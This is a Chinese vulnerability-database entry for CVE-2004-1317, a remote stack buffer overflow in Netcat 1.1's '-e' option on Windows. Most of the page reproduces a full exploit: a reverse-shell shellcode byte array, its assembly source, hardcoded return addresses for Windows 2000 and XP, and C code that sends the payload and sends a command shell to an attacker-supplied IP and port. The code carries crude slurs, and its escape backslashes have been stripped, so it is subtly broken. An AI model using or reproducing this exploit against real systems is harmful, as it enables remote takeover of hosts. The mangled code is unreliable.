Windows Netcat doexec.c堆栈缓冲区溢出漏洞
漏洞ID | 1108396 | 漏洞类型 | 缓冲区溢出 |
发布时间 | 2004-12-26 | 更新时间 | 2004-12-27 |
CVE编号 | CVE-2004-1317 |
CNNVD-ID | CNNVD-200412-121 |
漏洞平台 | Windows | CVSS评分 | 7.5 |
|漏洞来源
|漏洞详情
用于Windows1.1版本的Netcat的doexec.c存在堆栈缓冲区溢出漏洞。当运行-e选项时远程攻击者可以借助超长DNS命令执行任意代码。
|漏洞EXP
/*
Netcat v1.1, "-e" Switch, Remote Buffer Overflow Exploit v0.1
Homepage..........: http://www.securityfocus.com/tools/139/scoreit
Affected versions.: v1.1
Fix...............: Actually none, Hobbit is warned 1 month+ ago, and looks like
to not act, we let him to spread a backdoor :)
Risk..............: Highly critical.
-Almost everything loaded as "nc ... -e ..." is vulnerable
-Educational tools such as the uw-imapd (http://www.washington.edu/imap/) contains no port listener,
if it's loaded with netcat (ie: nc -L -p 143 -t -e imapd.exe
25 -t -e pop3d.exe etc..vulnerable..)
this small example show you the large impact of this hole.
-Tools build on netcat , I guess are vulnerable , such as the netcat with
authentification or others tools based on netcat without a security check on src.
-Next time you run netcat -e , be sure of what you run because as said Hobbit,
the "-e" switch is really DANGEROUS!! :DDD
Compilation.......: 101_ncat.cpp ......... Win32 (MSVC,cygwin)
101_ncat.c ........... Linux (FreeBSD,etc..)
Greetings.........: Nima Majidi, Behrang Fouladi (cool teammates ;p)
DiabloHorn, kimatrix (KD-Team guys)
Nicolas Waisman, MMiller(skape), H.D Moore, BJWever (for the help)
Brett Moore (for all help and specially there
for suggesting me that way of MSVCRT.system call
; call system()
mov eax,1656E64h ; mov cmd + 01010101 to eax
sub eax,01010101h ; sub 01010101
push eax ; Push cmd on stack with our null byte :)
push esp ; Location to cmd
call ebp ; Call system()
via that way you can push on the stack "x00"cmd without
breaking your payload.
Because in the public shellcode that he published on mailinglist
; Call system()
push 20646D63h ; Push cmd on stack, null exists from above
push esp ; Location to cmd
call ebp ; Call system()
Sure it's smaller to push direclty "x20"cmd but
MSVCRT.system was also grabbing invalid unicode chars
before "x20"cmd including esp pointing to cmd (windows bug ?:>)(on w2k sp4 server).
Else to bypass a bad char , I do a small change ,adding 6 nop,
to kick out "x0A" bugging there for netcat and prolly more.
This to finally say that the size of the shellcode is now 220 bytes instead
of 205 (still awesome for a reversecmd generic win32 shellcode)
Tested working on W2k SP4,XP all SP. Excellent job by Brett Moore wich I throw all credits
because this shellcode is the brain of that exploit ;)
Extra.............: !All tests were made on nc.exe from http://www.securityfocus.com/tools/139/scoreit!
!All tests were made loading netcat: nc -L -p 143 -t -e c:imapd.exe!
(hoping the processus wont change if you load differently netcat, I dont think, else update urself!
!See in the code if you need the shellcode in ASM format, really useful peace of code, thanx to bmoore and me!
!Don't use ip with #0 as '127.0.0.1' , this will break the payload.
Bug discovery.....: class101
Exploit code......: class101 at www.hat-squad.com - dfind.kd-team.com - #n3ws EFnet
Quizz.............: Wich crew is enough stupid to spread perl worm codes ?
K _ O _ i _
easy ;>
*/
#include <stdio.h>
#include <string.h>
#include <time.h>
#ifdef WIN32
#include "winsock2.h"
#pragma comment(lib, "ws2_32")
#else
#include <sys/socket.h>
#include <sys/types.h>
#include <netinet/in.h>
#include <netinet/in_systm.h>
#include <netinet/ip.h>
#include <netdb.h>
#include <arpa/inet.h>
#include <unistd.h>
#include <stdlib.h>
#include <fcntl.h>
#endif
// GENERIC callback cmd execution shellcode
// by Brett Moore @ Security-Assessment.com
// 205 bytes + 8 bytes to bypass null byte problem spoke ealier. bmoore
// + 6 nop added to avoid bad char "x0A". class101
// + 1 bytes of CMP&JMP instruction added to fix an important bug. class101
// (shellcode was spawning a shell if you use it locally,
// but access violation trying to spawn a shell on remote ip, now fixed.)
// = 220 bytes
char scode[] =
"xEBx21x02x01x00x00x00x00x00x00x01x4Ax36x4Dx53x56"
"x43x52x54x01x2Ax42xD4x8Ax57x53x32x5Fx33x32x01x7C"
"x81x2Cx4Ex68x5Fx57xC3xACxFFxD4xBEx0CxF0xFDx7FxAD"
"xFFx36x8Bx70x1CxADx8Bx50x08x6AxF8x8Dx5FxF8x54x5D"
"x8Bx4Ax3Cx8Bx74x11x78x8Dx74x16x1CxB1x03xADx03xC2"
"x50xE2xFAx4Bx8Bx75xF8x33xC0x50x50xADx03xC2x33xC9"
"x66x03x08x02x08x40x80x38x01x7DxF5x58x40x66x3Bx0B"
"x75xE8x5Ex96x4ExD1xE6x03x75xF4x66xADxC1xE0x02x03"
"x45xFCx96xADx03xC2xABx4Bx80x3Bx01x75xC6xC9xFEx0B"
"x83xEBx06x80x7BxFFx01x74x10x53xFFx14x2Fx92x6AxF0"
"x4Bx75x9Bx90x90x90x90x90x90x95xFFx57xF0x33xC9x51"
"x51x51x51x41x51x41x51xFFx57xF8x87xCFx5Fx83xC7x18"
"xABxABxABx4BxFEx0Bx4Bx53x53x50xFFx51xF4xB8x64x6E"
"x65x01x2Dx01x01x01x01x50x54xFFxD5x90";
/*
bmoore.asm
;*********************************** Christmas Shells***************************************
; Callback Shell.
; Directly set std handles and call system()
;
; 220 (DCh) bytes
;
; its not code, its antic0de
; and it works now too %-)
; Left it in tasm format.
; tasm32 -ml /m5 bmoore.asm
; tlink32 -Tpe -c -x bmoore.obj ,,, import32
;
;*********************************** Christmas Shells***************************************
; Jimminy jellicas its been jimplemented.
; Oddity,Dsp,Shammah,Santa Claus and the rest of the loco locals
; All the o/s peeps who know whats what.
;********************************************************************************************
;//bmoore
;
; Tested working on Win2k SP4 Server,Pro and WinXP SP1a Pro Eng.
;//class101
.586p
locals
.model flat, stdcall
extrn ExitProcess:PROC
extrn WSAStartup:PROC
extrn WSACleanup:PROC
.data
wsadescription_len equ 256
wsasys_status_len equ 128
WSAdata struct
wVersion dw ?
wHighVersion dw ?
szDescription db wsadescription_len+1 dup (?)
szSystemStatus db wsasys_status_len+1 dup (?)
iMaxSockets dw ?
iMaxUdpDg dw ?
lpVendorInfo dw ?
WSAdata ends
wsadata WSAdata <?>
.code
;****************************************************************************
; Winsock + copy to stack code
;****************************************************************************
start:
push offset wsadata
push 0101h
call WSAStartup
or eax, eax
jz winsock_found
jmp codeend
winsock_found:
mov ebx,offset realstart
sub esp,400h
mov eax,esp
Copyit:
mov cl,byte ptr [ebx]
mov byte ptr [eax],cl
inc eax
inc ebx
cmp ebx,offset codeend
jle Copyit
jmp esp
;****************************************************************************
; This is the start of the shell code
;****************************************************************************
realstart:
jmp over_data
sockdat db 02h,01h,00h,065h
db 07fh,00h,00h,01h
hashes db 01h
dw 364Ah
db "MSVCRT",01
dw 422Ah
dw 8AD4h
db "WS2_32",01
dw 817Ch
dw 4E2Ch
over_data:
push 0ACC3575Fh
call esp
mov esi,7ffdf00ch
lodsd
push dword ptr [esi]
mov esi,[eax + 1ch]
lodsd
mov edx,[eax + 08h]
push -8
lea ebx,[edi-8]
LookupFunctions:
push esp
pop ebp
mov ecx,dword ptr [edx + 3ch]
mov esi,dword ptr [ecx + edx + 78h]
lea esi,dword ptr [esi + edx + 1ch]
mov cl,3
StoreAddress:
lodsd
add eax,edx
push eax
loop short StoreAddress
SearchStart:
dec ebx
mov esi,dword ptr [ebp - 8]
xor eax,eax
push eax
Search:
push eax
lodsd
add eax,edx
xor ecx,ecx
hashy:
add cx,word ptr [eax]
add cl,byte ptr [eax]
inc eax
cmp byte ptr [eax],01
jge hashy
pop eax
inc eax
cmp cx,[ebx]
jne Search
pop esi
xchg esi,eax
dec esi
shl esi,1
add esi,dword ptr [ebp - 0ch]
lodsw
shl eax,2
add eax,dword ptr [ebp - 4h]
xchg esi,eax
lodsd
add eax,edx
stosd
dec ebx
cmp byte ptr [ebx],01h
jne short SearchStart
leave
dec byte ptr [ebx]
sub ebx,06h
;//bmoore
cmp byte ptr [ebx-1],01h
je short Done_Finding
;//class101
push ebx
call dword ptr [edi + ebp]
xchg edx,eax
push -16
dec ebx
jne short LookupFunctions
;//bmoore
nop
nop
nop
nop
nop
nop
;//class101
Done_Finding:
xchg eax,ebp
call [EDI - 10h]
xor ecx,ecx
push ecx
push ecx
push ecx
push ecx
inc ecx
push ecx
inc ecx
push ecx
call [EDI - 08h]
xchg ecx,edi
pop edi
add edi,18h
stosd
stosd
stosd
dec ebx
dec byte ptr [ebx]
dec ebx
push ebx
push ebx
push eax
call [ecx - 0ch]
mov eax,1656E64h
sub eax,01010101h
push eax
push esp
call ebp
nop
call WSACleanup
codeend:
end start
;//bmoore
---------EOF
*/
static char payload[1000];
char jmpebx[]="x73x1cx57x7c"; file://JMP EBX - kernel32.dll - Win2k SP4 Server,Pro English
char popopret[]="xb1x2cxc2x77"; file://POP,POP,RET - msvcrt.dll - WinXP SP2,SP1a,SP1 Pro English - I finally found out XP exploitation ;<
char jmp1[]="xebx07x90"; file://JMP 9 bytes down
char jmp2[]="x90x90x90xe9x07xffxffxff"; file://long JMP up
char gay[]="x4bx2dx4fx54x69x4b"; file://giving bl0wjob for free :>
#ifdef WIN32
WSADATA wsadata;
#endif
void ver();
void usage(char* us);
int main(int argc,char *argv[])
{
ver();
unsigned long gip;
unsigned short gport;
if ((argc!=6)||(atoi(argv[1])<1)||(atoi(argv[1])>2)){usage(argv[0]);return -1;}
#ifndef WIN32
gip=inet_addr(argv[4])^(long)0x00000000;
gport=htons(atoi(argv[5]))^(short)0x0000;
#define Sleep sleep
#define SOCKET int
#define closesocket(s) close(s)
#else
if (WSAStartup(MAKEWORD(2,0),&wsadata)!=0){printf("[+] wsastartup errorn");return -1;}
gip=inet_addr(argv[4])^(ULONG)0x00000000;
gport=htons(atoi(argv[5]))^(USHORT)0x0000;
#endif
int ip=htonl(inet_addr(argv[2])), port=atoi(argv[3]), sz, sizeA, sizeB, sizeC, c, b, a;
char *target, *os;
memcpy(&scode[6], &gip, 4);
memcpy(&scode[4], &gport, 2);
if (atoi(argv[1]) == 1){target=jmpebx;os="Win2k SP4 Server Englishn[+] Win2k SP4 Pro. English";}
if (atoi(argv[1]) == 2){target=popopret;os="WinXP SP2 Pro. Englishn[+] WinXP SP1a Pro. Englishn[+] WinXP SP1 Pro. English";}
SOCKET s;fd_set mask;struct timeval timeout; struct sockaddr_in server;
s=socket(AF_INET,SOCK_STREAM,0);
if (s==-1){printf("[+] socket() errorn");return -1;}
printf("[+] target(s): %sn",os);
server.sin_family=AF_INET;
server.sin_addr.s_addr=htonl(ip);
server.sin_port=htons(port);
connect(s,( struct sockaddr *)&server,sizeof(server));
timeout.tv_sec=3;timeout.tv_usec=0;FD_ZERO(&mask);FD_SET(s,&mask);
switch(select(s+1,NULL,&mask,NULL,&timeout))
{
case -1: {printf("[+] select() errorn");closesocket(s);return -1;}
case 0: {printf("[+] connect() errorn");closesocket(s);return -1;}
default:
if(FD_ISSET(s,&mask))
{
printf("[+] connected, constructing the payload...n");
#ifdef WIN32
Sleep(2000);
#else
Sleep(2);
#endif
sizeA=10;
sizeB=228-sizeof(scode);
sizeC=25;
sz=10+227+3+4+8+25;
memset(payload,0,sizeof(payload));
for (a=0;a<sizeA;a++){strcat(payload,"x90");}
strcat(payload,scode);
for (b=0;b<sizeB;b++){strcat(payload,"x90");}
strcat(payload,jmp1);
strcat(payload,target);
strcat(payload,jmp2);
for (c=0;c<sizeC;c++){strcat(payload,"x90");}
if (send(s,payload,strlen(payload),0)==-1) { printf("[+] sending error, the server prolly rebooted.n");return -1;}
#ifdef WIN32
Sleep(1000);
#else
Sleep(1);
#endif
printf("[+] size of payload: %dn",sz);
printf("[+] payload send, look at your listener, you should get a shelln");
return 0;
}
}
closesocket(s);
#ifdef WIN32
WSACleanup();
#endif
return 0;
}
void usage(char* us)
{
printf("USAGE: 101_ncat.exe Target VulnIP VulnPORT GayIP GayPORTn");
printf("TARGETS: n");
printf(" [+] 1. Win2k SP4 Server English (*)n");
printf(" [+] 1. Win2k SP4 Pro. English (*)n");
printf(" [+] 2. WinXP SP1 Pro. English (*)n");
printf(" [+] 2. WinXP SP1a Pro. English (*)n");
printf(" [+] 2. WinXP SP2 Pro. English (*)n");
printf("NOTE: n");
printf(" The exploit reverse a cmd to GayIP:GayPORT :>n");
printf(" A wildcard (*) mean Tested.n");
return;
}
void ver()
{
printf(" n");
printf(" ===================================================[v0.1]====n");
printf(" ==========Netcat v1.1, The TCP/IP Swiss Army Knife===========n");
printf(" ========="-e" Switch, Remote Buffer Overflow Exploit=========n");
printf(" ======coded by class101=============[Hat-Squad.com 2004]=====n");
printf(" =============================================================n");
printf(" n");
}
// milw0rm.com [2004-12-26]
|受影响的产品
NetCat NetCat 1.1
|参考资料
来源:XF
名称:netcat-doexec-bo(18681)
链接:http://xforce.iss.net/xforce/xfdb/18681
来源:BUGTRAQ
名称:20041228Re:[HAT-SQUAD]NetCatRemoteCriticalVulnerability,Pocincluded
链接:http://marc.theaimsgroup.com/?l=bugtraq&m;=110429204712327&w;=2
来源:BUGTRAQ
名称:20041228Netcatv1.11ForWindows,Newfixedversion
链接:http://marc.theaimsgroup.com/?l=bugtraq&m;=110426936423890&w;=2
来源:www.hat-squad.com
链接:http://www.hat-squad.com/en/000142.html
来源:BUGTRAQ
名称:20041227[HAT-SQUAD]NetCatRemoteCriticalVulnerability,Pocincluded
链接:http://marc.theaimsgroup.com/?l=bugtraq&m;=110425875504586&w;=2
相关推荐: MPNews PRO Directory Traversal Information Disclosure Vulnerability
MPNews PRO Directory Traversal Information Disclosure Vulnerability 漏洞ID 1099441 漏洞类型 Input Validation Error 发布时间 2003-10-01 更新时间 …
© 版权声明
文章版权归作者所有,未经允许请勿转载。
THE END
喜欢就支持一下吧
恐龙抗狼扛1年前0
kankan啊啊啊啊3年前0
66666666666666